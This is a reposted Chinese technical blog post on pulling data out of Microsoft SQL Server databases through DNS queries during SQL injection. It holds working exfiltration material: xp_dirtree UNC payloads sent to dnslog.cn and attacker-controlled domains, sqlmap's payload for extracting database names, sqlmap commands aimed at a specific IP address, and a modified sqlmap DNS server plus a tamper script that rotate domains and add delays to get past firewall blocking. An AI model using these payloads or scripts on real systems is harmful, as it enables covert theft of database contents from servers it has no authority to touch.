• Data Exfiltration with DNS in MSSQL SQLi attacks


    DNS解析过程

    DNS解析过程

    DNS 查询的过程如下图1所示。

     

    图1

    文字举例说明:

    假定浏览器想知道域名xprp8i.dnslog.cn的IP地址。

    1、浏览器先向本地DNS服务器进行递归查询。

    2、本地域名服务器采用迭代查询。它先向一个根域名服务器查询。

    3、根域名服务器告诉本地DNS服务器,下一次应查询的顶级域名服务器a.dns.cn的IP地址。

    4、本地域名服务器向顶级域名服务器a.dns.cn进行查询。

    5、顶级域名服务器dns.cn告诉本地域名服务器,下一步应查询的权限服务器ns1.dnslog.cn的IP地址。

    6、本地域名服务器向权限域名服务器ns1.dnslog.cn进行查询。

    7、权限域名服务器ns1.dnslog.cn告诉本地域名服务器,xprp8i.dnslog.cn的IP地址。

    8、本地域名服务器最后把查询结果告诉浏览器。

    递归查询

    从客户端到本地DNS服务器是属于递归查询。

    迭代查询

    DNS服务器之间的交互查询就是迭代查询。本地使用nslookup模拟一下这个过程,以查询xprp8i.dnslog.cn为例。

    1、将DNS请求发送至其中一台根DNS服务器。

    根DNS服务器收到请求后会判断这个域名(.cn)是谁来授权管理,并会返回负责该顶级域名的NS记录。

    命令:

    nslookup -q=a xprp8i.dnslog.cn 198.41.0.4

    应答:

    in-addr.arpa    nameserver = e.in-addr-servers.arpa

    in-addr.arpa    nameserver = f.in-addr-servers.arpa

    in-addr.arpa    nameserver = d.in-addr-servers.arpa

    in-addr.arpa    nameserver = c.in-addr-servers.arpa

    in-addr.arpa    nameserver = b.in-addr-servers.arpa

    in-addr.arpa    nameserver = a.in-addr-servers.arpa

    e.in-addr-servers.arpa  internet address = 203.119.86.101

    e.in-addr-servers.arpa  AAAA IPv6 address = 2001:dd8:6::101

    f.in-addr-servers.arpa  internet address = 193.0.9.1

    f.in-addr-servers.arpa  AAAA IPv6 address = 2001:67c:e0::1

    d.in-addr-servers.arpa  internet address = 200.10.60.53

    d.in-addr-servers.arpa  AAAA IPv6 address = 2001:13c7:7010::53

    c.in-addr-servers.arpa  internet address = 196.216.169.10

    c.in-addr-servers.arpa  AAAA IPv6 address = 2001:43f8:110::10

    b.in-addr-servers.arpa  internet address = 199.253.183.183

    b.in-addr-servers.arpa  AAAA IPv6 address = 2001:500:87::87

    a.in-addr-servers.arpa  internet address = 199.180.182.53

    a.in-addr-servers.arpa  AAAA IPv6 address = 2620:37:e000::53

    Server:  UnKnown

    Address:  198.41.0.4

    Name:    xprp8i.dnslog.cn

    Served by:

    - a.dns.cn

              203.119.25.1

              2001:dc7::1

              cn

    - b.dns.cn

              203.119.26.1

              cn

    - c.dns.cn

              203.119.27.1

              cn

    - d.dns.cn

              203.119.28.1

              2001:dc7:1000::1

              cn

    - e.dns.cn

              203.119.29.1

              cn

    - f.dns.cn

              195.219.8.90

              cn

    - g.dns.cn

              66.198.183.65

              cn

    - ns.cernet.net

              202.112.0.44

              Cn

    2、向其中一台负责cn顶级域的DNS服务器发起请求

    命令:

    nslookup -q=a xprp8i.dnslog.cn 195.219.8.90

    应答:

    DNS request timed out.

        timeout was 2 seconds.

    Server:  UnKnown

    Address:  195.219.8.90

    DNS request timed out.

        timeout was 2 seconds.

    Name:    xprp8i.dnslog.cn

    Served by:

    - ns1.dnslog.cn

              47.244.138.18

              dnslog.cn

    - ns2.dnslog.cn

              47.244.138.18

              dnslog.cn

    3、向其中一台负责dnslog.cn二级域的DNS服务器发起请求

    最终,经查询得到了xprp8i.dnslog.cn对应的IP地址(此处是127.0.0.1)

    命令:

    nslookup -q=a xprp8i.dnslog.cn 47.244.138.18

    应答:

    Server:  UnKnown

    Address:  47.244.138.18

    Non-authoritative answer:

    Name:    xprp8i.dnslog.cn

    Address:  127.0.0.1

    参考:

    https://www.zhihu.com/question/23042131

    https://zhidao.baidu.com/question/424525391971643892.html

    DNS隧道测试

    工具:

    http://dnslog.cn/

    点击“Get SubDomain”获取域名,点击“Refresh Record”查看请求记录。

    SQL语句:

    declare @host varchar(800);

    select @host = 'test.k8xdu5.dnslog.cn';

    exec ('master..xp_dirtree "\\'+@host+'\foobar$"');

    使用SQL SERVER MANAGEMENT STUDIO新建查询

     

    图3

    如果刷新后可以看到我们提交的查询数据,说明DNS请求可以出得来,可进一步利用。

     

    图4

    自行搭建dnslog

    注意:IP地址需要与注册信息中的国家相符合,否则注册失败。

    网址:http://www.Freenom.com

    1、先检测待注册域名的可用性。

     

    2、注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。

     

    3、点击Continue,进入到结算页面。

    如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。如果注册了用户,只需要直接登录就可以了。

     

    4、进入到Review and Checkout页面,填入一些你的基本信息就可以了

     

    5、这里记得勾选Lock profile,你的信息就不会被whois查询到了。接着下一步,勾选Complate Order,域名就注册成功了。

     

    6、部署DNS服务

    登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:

    Dsn.py:

    https://github.com/sqlmapproject/sqlmap/blob/master/lib/request/dns.py

    7、执行ping命令测试 效果

    看到结果说明成功。

    Ping test.buyao2.ga

     

    参考:

    https://www.cnblogs.com/Chorder/p/9087386.html

    SQLMAP实现分析

    看看sqlmap是怎么处理-v 3查看payload:

    DECLARE @host varchar(1024);

    SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST

    (SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS

    VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN

    (SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY

    name)+'.Nrz.rainism.cc';

    EXEC('master..xp_dirtree "\\'+@host+'\cCkc"');

    知识点

    1、通过在域名中添加随机字符串'rMy','Nrz'确保每次查询dns不存在缓存。

    2、通过使用substring()函数每次传输特定位数的数据,防止UNC路径超过128个字符,导致错误。

    3、通过使用master.dbo.fn_varbintohexstr()存储过程对获得数据进行16进制编码,防止出现非法字符导致语法错误,查询失败。

    Sql语句

    sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --dns-domain yourdomain.online

    实战中遇到的问题

    问题描述

    大概率由于对方防火墙的原因,当获取20条左右的数据时lib\request\dns.py文件就出现以下错误,之后就获取不到数据了,然后歇会几分钟后,重新再来又可以获取到数据了。推测可能是访问频繁,导致域名被暂时封堵。

    [Error 10054] An exiting connection was forcibly closed by the remote host

    对策

    申请多个域名,反正freenom.com免费申请,然后写个tamper随机选择域名。我申请了10个域名,效果是,还会报错但是能撑到100条这样。继续改进,捕获dns.py产生的sock error 10054错误,并且当出错的时候,通过waitfor delay语句进行延时注入。所以最终方案是,修改了dns.py和添加了一个tamper。完美解决,能一次性获取到上千条不中断了,就算出错也能较快恢复,执行完sqlmap一觉醒来,就收获满满了。

    使用

    sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --dns-domain dnslog.cn -t 8  --random-agent --tamper randomdns

    Dns.py

    #!/usr/bin/env python
    
    """
    Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    
    import os
    import re
    import socket
    import threading
    import time
    
    class DNSQuery(object):
        """
        Used for making fake DNS resolution responses based on received
        raw request
    
        Reference(s):
            http://code.activestate.com/recipes/491264-mini-fake-dns-server/
            https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
        """
    
        def __init__(self, raw):
            self._raw = raw
            self._query = ""
    
            type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits
    
            if type_ == 0:                                  # Standard query
                i = 12
                j = ord(raw[i])
    
                while j != 0:
                    self._query += raw[i + 1:i + j + 1] + '.'
                    i = i + j + 1
                    j = ord(raw[i])
    
        def response(self, resolution):
            """
            Crafts raw DNS resolution response packet
            """
    
            retVal = ""
    
            if self._query:
                retVal += self._raw[:2]                                             # Transaction ID
                retVal += "\x85\x80"                                                # Flags (Standard query response, No error)
                retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts
                retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query
                retVal += "\xc0\x0c"                                                # Pointer to domain name
                retVal += "\x00\x01"                                                # Type A
                retVal += "\x00\x01"                                                # Class IN
                retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)
                retVal += "\x00\x04"                                                # Data length
                retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP
    
            return retVal
    
    class DNSServer(object):
        def __init__(self):
            socket.setdefaulttimeout(20)
            self._check_localhost()
            self._requests = []
            self._lock = threading.Lock()
            try:
                self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
            except AttributeError:
                self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self._socket.bind(("", 53))
            self._running = False
            self._initialized = False
    
        def _check_localhost(self):
            response = ""
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                s.connect(("", 53))
                s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex"))  # A www.google.com
                response = s.recv(512)
            except:
                pass
            finally:
                if response and "google" in response:
                    raise socket.error("another DNS service already running on *:53")
    
        def pop(self, prefix=None, suffix=None):
            """
            Returns received DNS resolution request (if any) that has given
            prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
            """
    
            retVal = None
    
            with self._lock:
                for _ in self._requests:
                    if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I):
                        retVal = _
                        self._requests.remove(_)
                        break
    
            return retVal
    
        def run(self):
            """
            Runs a DNSServer instance as a daemon thread (killed by program exit)
            """
    
            def _():
                try:
                    self._running = True
                    self._initialized = True
    
                    while True:
                        #改了这里
                        try:  
                            data, addr = self._socket.recvfrom(1024)
                            _ = DNSQuery(data)
                            self._socket.sendto(_.response("127.0.0.1"), addr)         
                            with self._lock:
                                self._requests.append(_._query)   
                            fo = open('C:/Users/Administrator/Desktop/sqlmap-1.3/tamper/randomdns.txt', "w")
                            fo.write("OK")
                            fo.close()
                        except socket.error as error:
                            print(error)
                            fo = open('C:/Users/Administrator/Desktop/sqlmap-1.3/tamper/randomdns.txt', "w")
                            fo.write("Error")
                            fo.close()
                            time.sleep(1)
                        #改了这里   
                except KeyboardInterrupt:
                    raise
    
                finally:
                    self._running = False
    
            thread = threading.Thread(target=_)
            thread.daemon = True
            thread.start()
    
    if __name__ == "__main__":
        server = None
        try:
            server = DNSServer()
            server.run()
    
            while not server._initialized:
                time.sleep(0.1)
    
            while server._running:
                while True:
                    _ = server.pop()
    
                    if _ is None:
                        break
                    else:
                        print "[i] %s" % _
    
                time.sleep(1)
    
        except socket.error, ex:
            if 'Permission' in str(ex):
                print "[x] Please run with sudo/Administrator privileges"
            else:
                raise
        except KeyboardInterrupt:
            os._exit(0)
        finally:
            if server:
                server._running = False
    

    Randomdns.py(tamper)

    #!/usr/bin/env python
    
    """
    Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    
    import re
    import random
    import os
    
    
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.HIGHEST
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        """
    
        Tested against:
            * Microsoft SQL Server 2008
    
        """
    
        retVal = payload
        domain_list = ['domain1.ga','domain2.ga','domain3.tk','domain4.tk','domain5.gq','domain16.tk','domain7.ml','domain8.ga','domain9.cf','domain10.gq']
        domain = random.choice(domain_list)
        domain = ''.join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a'], 3)) + '.' + domain
        waitstr = " waitfor delay '0:0:0:MilliSeconds' --"
        filename = 'C:/Users/Administrator/Desktop/sqlmap-1.3/tamper/randomdns.txt'
        if os.path.exists(filename):
            fo = open(filename, "r")
            msg = fo.read()
            fo.close()
            if msg == "Error":
                waitstr = " waitfor delay '0:0:10:MilliSeconds' --"
            else:
                waitstr = " waitfor delay '0:0:0:MilliSeconds' --"
    
        ms = str(random.randint(1,999))
        waitstr = re.sub('MilliSeconds',ms,waitstr)
        if payload:
            retVal = re.sub('dnslog.cn',domain,payload)
            retVal = re.sub('--',waitstr,retVal)
        return retVal
    

       转载请注明出处。

  • 相关阅读:
    GoJS实例1
    MAVEN 添加本地jar
    找不到xml、找不到类
    office365激活码序列号密钥:
    【转载】EF Core & Castle DynamicProxy基本用法(AOP)
    【转载】SQL Server
    【转载】对象克隆(C# 快速高效率复制对象另一种方式 表达式树转)
    [转载] Emit动态生成代码
    【转载】Windows 下搭建 wmi_exporter+Prometheus+Grafana 服务器性能监控平台
    Java RMI 使用
  • 原文地址:https://www.cnblogs.com/StudyCat/p/11431219.html
Copyright © 2020-2023  润新知